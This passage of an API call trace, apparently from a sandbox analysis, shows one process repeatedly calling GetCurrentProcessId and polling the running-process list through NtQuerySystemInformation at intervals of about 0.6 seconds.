GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.039] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.040] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.041] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.042] GetCurrentProcessId () returned 0x10c0 [0241.580] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0241.582] GetCurrentProcessId () returned 0x10c0 [0241.582] GetCurrentProcessId () returned 0x10c0 [0241.582] GetCurrentProcessId () returned 0x10c0 [0241.582] GetCurrentProcessId () returned 0x10c0 [0241.582] GetCurrentProcessId () returned 0x10c0 [0241.582] GetCurrentProcessId () returned 0x10c0 [0241.582] GetCurrentProcessId () returned 0x10c0 [0241.582] GetCurrentProcessId () returned 0x10c0 [0241.582] GetCurrentProcessId () returned 0x10c0 [0241.582] GetCurrentProcessId () returned 0x10c0 [0241.582] GetCurrentProcessId () returned 0x10c0 [0241.582] GetCurrentProcessId () returned 0x10c0 [0241.582] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.583] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.584] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.585] GetCurrentProcessId () returned 0x10c0 [0241.586] GetCurrentProcessId () returned 0x10c0 [0241.586] GetCurrentProcessId () returned 0x10c0 [0241.586] GetCurrentProcessId () returned 0x10c0 [0241.586] GetCurrentProcessId () returned 0x10c0 [0241.586] GetCurrentProcessId () returned 0x10c0 [0241.586] GetCurrentProcessId () returned 0x10c0 [0241.586] GetCurrentProcessId () returned 0x10c0 [0241.586] GetCurrentProcessId () returned 0x10c0 [0241.586] GetCurrentProcessId () returned 0x10c0 [0242.249] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0242.292] GetCurrentProcessId () returned 0x10c0 [0242.292] GetCurrentProcessId () returned 0x10c0 [0242.292] GetCurrentProcessId () returned 0x10c0 [0242.292] GetCurrentProcessId () returned 0x10c0 [0242.292] GetCurrentProcessId () returned 0x10c0 [0242.292] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.293] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.294] GetCurrentProcessId () returned 0x10c0 [0242.295] GetCurrentProcessId () returned 0x10c0 [0242.295] GetCurrentProcessId () returned 0x10c0 [0242.295] GetCurrentProcessId () returned 0x10c0 [0242.295] GetCurrentProcessId () returned 0x10c0 [0242.295] GetCurrentProcessId () returned 0x10c0 [0242.295] GetCurrentProcessId () returned 0x10c0 [0242.295] GetCurrentProcessId () returned 0x10c0 [0242.295] GetCurrentProcessId () returned 0x10c0 [0242.295] GetCurrentProcessId () returned 0x10c0 [0242.295] GetCurrentProcessId () returned 0x10c0 [0242.295] GetCurrentProcessId () returned 0x10c0 [0242.296] GetCurrentProcessId () returned 0x10c0 [0242.296] GetCurrentProcessId () returned 0x10c0 [0242.296] GetCurrentProcessId () returned 0x10c0 [0242.296] GetCurrentProcessId () returned 0x10c0 [0242.296] GetCurrentProcessId () returned 0x10c0 [0242.296] GetCurrentProcessId () returned 0x10c0 [0242.296] GetCurrentProcessId () returned 0x10c0 [0242.296] GetCurrentProcessId () returned 0x10c0 [0242.296] GetCurrentProcessId () returned 0x10c0 [0242.296] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.297] GetCurrentProcessId () returned 0x10c0 [0242.889] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.899] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.900] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.901] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.902] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0242.903] GetCurrentProcessId () returned 0x10c0 [0243.467] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.565] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.566] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.567] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.568] GetCurrentProcessId () returned 0x10c0 [0243.569] GetCurrentProcessId () returned 0x10c0 [0243.569] GetCurrentProcessId () returned 0x10c0 [0243.569] GetCurrentProcessId () returned 0x10c0 [0243.569] GetCurrentProcessId () returned 0x10c0 [0243.569] GetCurrentProcessId () returned 0x10c0 [0243.569] GetCurrentProcessId () returned 0x10c0 [0243.569] GetCurrentProcessId () returned 0x10c0 [0243.569] GetCurrentProcessId () returned 0x10c0 [0243.569] GetCurrentProcessId () returned 0x10c0 [0243.569] GetCurrentProcessId () returned 0x10c0 [0243.569] GetCurrentProcessId () returned 0x10c0 [0243.569] GetCurrentProcessId () returned 0x10c0 [0244.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.178] GetCurrentProcessId () returned 0x10c0 [0244.179] 